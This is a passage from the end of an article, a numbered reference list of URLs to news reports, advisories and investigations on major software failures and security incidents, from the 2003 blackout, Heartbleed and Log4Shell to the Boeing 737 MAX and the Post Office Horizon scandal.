  27. https://www.guinnessworldrecords.com/world-records/101255-most-expensive-metric-imperial-conversion-error
  28. https://energy.gov/sites/prod/files/oeprod/DocumentsandMedia/BlackoutFinal-Web.pdf
  29. https://sma.nasa.gov/docs/default-source/safety-messages/safetymessage-2008-03-01-northeastblackoutof2003.pdf
  30. https://www.wired.com/2008/05/did-hackers-cau/
  31. https://www.theregister.com/2004/04/08/blackout_bug_report/
  32. https://www.cisa.gov/news-events/ics-alerts/ir-alert-h-16-056-01
  33. https://nsarchive.gwu.edu/sites/default/files/documents/3891751/SANS-and-Electricity-Information-Sharing-and.pdf
  34. https://blog.isa.org/lessons-learned-forensic-analysis-ukrainian-power-grid-cyberattack-malware
  35. https://www.kaspersky.com/resource-center/threats/blackenergy
  36. https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf
  37. https://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/
  38. https://www.radiflow.com/wp-content/uploads/ukraine.pdf
  39. https://discover.selinc.com/l/885633/2022-07-20/9992c
  40. https://www.isa.org/intech-home/2017/march-april/features/ukrainian-power-grids-cyberattack
  41. https://www.investopedia.com/terms/y/y2k.asp
  42. https://sei.cmu.edu/documents/1167/1997_005_001_16568.pdf
  43. https://jacobfilipp.com/DrDobbs/articles/DDJ/1998/9805/9805b/9805b.htm
  44. https://www.gao.gov/assets/t-aimd-99-214.pdf
  45. https://www.federalreserve.gov/boarddocs/testimony/1998/19980428.htm
  46. https://computer.howstuffworks.com/question75.htm
  47. https://theyear2038problem.com/
  48. https://www.techzine.eu/blogs/infrastructure/117146/the-unix-timestamp-ends-in-2038-now-what/
  49. https://www.tanium.com/blog/2038-bug-survival-guide/
  50. https://www.windriver.com/blog/Back-to-the-Future-and-the-Year-2038-Problem-Keeping-Embedded-Systems-on-Track
  51. https://nvd.nist.gov/vuln/detail/CVE-2014-0160
  52. https://www.cisa.gov/news-events/alerts/2014/04/08/openssl-heartbleed-vulnerability-cve-2014-0160
  53. https://www.openssl.org/news/secadv/20140407.txt
  54. https://www.heartbleed.com/
  55. https://news.netcraft.com/archives/2014/04/02/april-2014-web-server-survey.html
  56. https://www.cvedetails.com/cve/CVE-2014-0160/
  57. https://nvd.nist.gov/vuln/detail/cve-2021-44228
  58. https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-356a
  59. https://www.blackfog.com/log4shell-understanding-the-vulnerability-and-mitigation-steps/
  60. https://www.datadoghq.com/blog/log4j-log4shell-vulnerability-overview-and-remediation/
  61. https://blog.qualys.com/vulnerabilities-threat-research/2021/12/10/apache-log4j2-zero-day-exploited-in-the-wild-log4shell
  62. https://www.automox.com/blog/log4j-vulnerability-timeline
  63. https://www.sysdig.com/blog/exploit-detect-mitigate-log4j-cve
  64. https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/
  65. https://www.ibm.com/think/topics/log4j
  66. https://www.microsoft.com/en-us/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/
  67. https://www.contrastsecurity.com/security-influencers/log4shell-vulnerability-log4j-still-being-exploited-contrast-security-adr
  68. https://developers.redhat.com/articles/2024/10/23/log4shell-vulnerability-shook-world-software-development
  69. https://blogs.microsoft.com/blog/2024/07/20/helping-our-customers-through-the-crowdstrike-outage/
  70. https://www.crowdstrike.com/en-us/blog/falcon-content-update-preliminary-post-incident-report/
  71. https://www.crowdstrike.com/wp-content/uploads/2024/08/Channel-File-291-Incident-Root-Cause-Analysis-08.06.2024.pdf
  72. https://www.informationweek.com/cyber-resilience/crowdstrike-outage-drained-5-4-billion-from-fortune-500-report
  73. https://www.mit.edu/hacker/part1.html
  74. https://users.csc.calpoly.edu/~jdalbey/SWE/Papers/att_collapse
  75. https://www.latimes.com/archives/la-xpm-1990-01-17-fi-212-story.html
  76. https://www.mcafee.com/blogs/internet-security/ss7-flaw-how-hackers-abuse-it/
  77. https://www.theguardian.com/technology/2016/apr/19/ss7-hack-explained-mobile-phone-vulnerability-snooping-texts-calls
  78. https://www.cse-cst.gc.ca/en/information-and-resources/announcements/cse-statement-re-media-reporting-ss7-vulnerabilities
  79. https://www.cellcrypt.com/threats/network/
  80. https://srlabs.de/blog/ethical-hackers-can-help-reduce-ss7-abuse
  81. https://thehackernews.com/2017/05/ss7-vulnerability-bank-hacking.html
  82. https://www.gsma.com/solutions-and-impact/technologies/security/t-isac-blog/ss7-securing-a-legacy-protocol-in-a-modern-threat-landscape-and-how-information-sharing-can-help-to-mitigate/
  83. https://sosintel.co.uk/an-investigation-into-ss7-exploitation-services-on-the-dark-web/
  84. http://lieu.house.gov/media-center/in-the-news/what-ss7-and-china-using-it-spy-trump-s-cell-phone
  85. https://www.transportation.gov/briefing-room/us-department-transportation-releases-results-nhtsa-nasa-study-unintended-acceleration
  86. https://www.nhtsa.gov/sites/nhtsa.gov/files/nasa-ua_report.pdf
  87. https://www.nhtsa.gov/document/technical-assessment-toyota-electric-throttle-control-etc-systems
  88. https://users.ece.cmu.edu/~koopman/pubs/koopman14_toyota_ua_slides.pdf
  89. https://www.edn.com/toyotas-killer-firmware-bad-design-and-its-consequences/
  90. https://www.cnn.com/2012/03/01/us/toyota-memo-acceleration-concerns
  91. https://abcnews.go.com/Blotter/toyota-pay-12b-hiding-deadly-unintended-acceleration/story?id=22972214
  92. https://capitolweekly.net/toyota-has-settled-hundreds-of-sudden-acceleration-cases/
  93. https://spectrum.ieee.org/how-the-boeing-737-max-disaster-looks-to-a-software-developer
  94. https://www.faa.gov/sites/faa.gov/files/2022-08/737_RTS_Summary.pdf
  95. https://pmc.ncbi.nlm.nih.gov/articles/PMC7351545/
  96. https://www.oig.dot.gov/sites/default/files/FAA%2520Certification%2520of%2520737%2520MAX%2520Boeing%2520II%2520Final%2520Report%255E2-23-2021.pdf
  97. https://www.aviationtoday.com/2019/10/28/lion-air-737-max-final-accident-report-cites-aoa-sensor-mcas-as-contributing-factors/
  98. https://www.bbc.com/news/business-50177788
  99. https://www.npr.org/2019/10/25/773291951/pilots-ground-crew-share-blame-for-lion-air-737-max-crash-indonesian-report-says
  100. https://www.npr.org/2020/03/09/813740173/ethiopian-officials-say-faulty-boeing-software-played-role-in-deadly-737-max-cra
  101. https://bea.aero/fileadmin/user_upload/ET_302__B737-8MAX_ACCIDENT_FINAL_REPORT.pdf
  102. https://www.ntsb.gov/investigations/Documents/Response%2520to%2520EAIB%2520final%2520report.pdf
  103. https://democrats-transportation.house.gov/committee-activity/boeing-737-max-investigation
  104. https://www.cpsc.gov/Recalls/2006/nintendo-of-america-initiates-replacement-program-for-wrist-straps-used-with
  105. https://www.cbsnews.com/news/nintendo-probes-wii-strap-problem/
  106. https://www.gamespot.com/articles/nintendo-replaces-weak-wii-straps/1100-6163251/
  107. https://www.nbcnews.com/id/wbna16222369
  108. https://www.courthousenews.com/wii-remote-out-of-control-says-class/
  109. https://www.gamespot.com/articles/nintendo-sued-over-wii-wrist-straps/1100-6163421/
  110. https://www.nytimes.com/2006/12/15/business/worldbusiness/15iht-nintendo.3917611.html
  111. https://www.reuters.com/business/polish-cd-projekts-hyped-cyberpunk-2077-has-strong-debut-despite-bugs-2020-12-10/
  112. https://www.bloomberg.com/news/articles/2021-01-16/cyberpunk-2077-what-caused-the-video-game-s-disastrous-rollout
  113. https://www.polygon.com/2020/12/9/22166912/cyberpunk-2077-base-ps4-xbox-one-bugs-issues-glitches-performance-trees-bushes/
  114. https://www.ign.com/articles/cyberpunk-2077-developers-did-not-believe-it-was-ready-for-launch-in-2020
  115. https://www.reuters.com/technology/sony-outlaws-cyberpunk-playstation-store-after-bug-backlash-2020-12-18/
  116. https://forums.cdprojektred.com/index.php?threads/cyberpunk-2077-our-commitment-to-quality.11073143/post-13056694
  117. https://gameworldobserver.com/2021/04/22/cd-projekt-revenue-560-million-2020-cyberpunk-2077-refunds
  118. https://www.wsj.com/tech/cyberpunk-2077-videogame-flop-to-hit-58ed2741?gaa_at=eafs&gaa_n=AWEtsqeF3TsrWPZJ4TiBVLePanwHawaFZ4C5mQ5kWJrWtiM7oik1kZzigw-f&gaa_ts=68fe8cc0&gaa_sig=bNw4RG-dVSXEY-b-z_zsSGE_zaiqItrQmZAkKLBx8bMoz_boDrk_gECMkdumD7v7yslV4LFdDeXGUZSEuJhZiA%253D%253D
  119. https://www.gemini.com/cryptopedia/the-dao-hack-makerdao
  120. https://coinmarketcap.com/academy/article/a-history-of-the-dao-hack
  121. https://www.nytimes.com/2016/06/18/business/dealbook/hacker-may-have-removed-more-than-50-million-from-experimental-cybercurrency-project.html
  122. https://blog.chain.link/reentrancy-attacks-and-the-dao-hack/
  123. https://www.wired.com/2016/06/50-million-hack-just-showed-dao-human/
  124. https://www.coindesk.com/consensus-magazine/2023/05/09/coindesk-turns-10-how-the-dao-hack-changed-ethereum-and-crypto
  125. https://cypherpunks-core.github.io/ethereumbook/appdx-forks-history.html
  126. https://www.openzeppelin.com/news/on-the-parity-wallet-multisig-hack-405a8c12e8f7
  127. https://www.coindesk.com/markets/2017/07/19/30-million-ether-reported-stolen-due-to-parity-wallet-breach
  128. https://www.coindesk.com/markets/2017/11/15/parity-team-publishes-postmortem-on-160-million-ether-freeze
  129. https://www.cnbc.com/2017/11/08/accidental-bug-may-have-frozen-280-worth-of-ether-on-parity-wallet.html
  130. https://www.theguardian.com/technology/2017/nov/08/cryptocurrency-300m-dollars-stolen-bug-ether
  131. https://techcrunch.com/2017/11/07/a-major-vulnerability-has-frozen-hundreds-of-millions-of-dollars-of-ethereum/
  132. https://www.proskauer.com/blog/when-smart-contracts-are-outsmarted-the-parity-wallet-freeze-and-software-liability-in-the-internet-of-value
  133. https://www.theguardian.com/uk-news/2024/jan/09/how-the-post-offices-horizon-system-failed-a-technical-breakdown
  134. https://www.computerweekly.com/feature/Post-Office-Horizon-scandal-explained-everything-you-need-to-know
  135. https://www.bbc.com/news/articles/c1wpp4w14pqo
  136. https://www.computerworld.com/article/4019146/uk-post-offices-horizon-it-system-flaws-drove-dozens-of-sub-postmasters-to-consider-suicide-says-damning-report.html
  137. https://cacm.acm.org/news/how-software-bugs-led-to-one-of-the-greatest-miscarriages-of-justice-in-british-history/
  138. https://forums.theregister.com/forum/all/2024/12/18/we_told_post_office_about/
  139. https://www.vaultinum.com/blog/software-failure-uk-post-office
  140. https://lordslibrary.parliament.uk/post-office-horizon-it-scandal-progress-of-compensation/
  141. https://www.bbc.com/news/articles/c3g01g2vq39o
  142. https://www.computing.co.uk/news/2025/birmingham-city-oracle-install-went-live-despite-red-flags
  143. https://www.cio.com/article/3830277/how-birminghams-48m-oracle-erp-project-turned-into-an-epic-failure.html
  144. https://www.datacenterdynamics.com/en/news/birmingham-councils-oracle-cloud-system-fiasco-due-to-series-of-project-management-failures/
  145. https://www.datacenterdynamics.com/en/news/total-cost-of-birmingham-citys-oracle-system-failure-to-reach-2165m-by-2026-report/
  146. https://www.theregister.com/2024/08/20/birmingham_oracle_cost/
  147. https://www.computerweekly.com/news/366572935/Birmingham-City-Councils-Oracle-implementation-explained-What-went-wrong
Add your contribution
Related Hubs
User Avatar
No comments yet.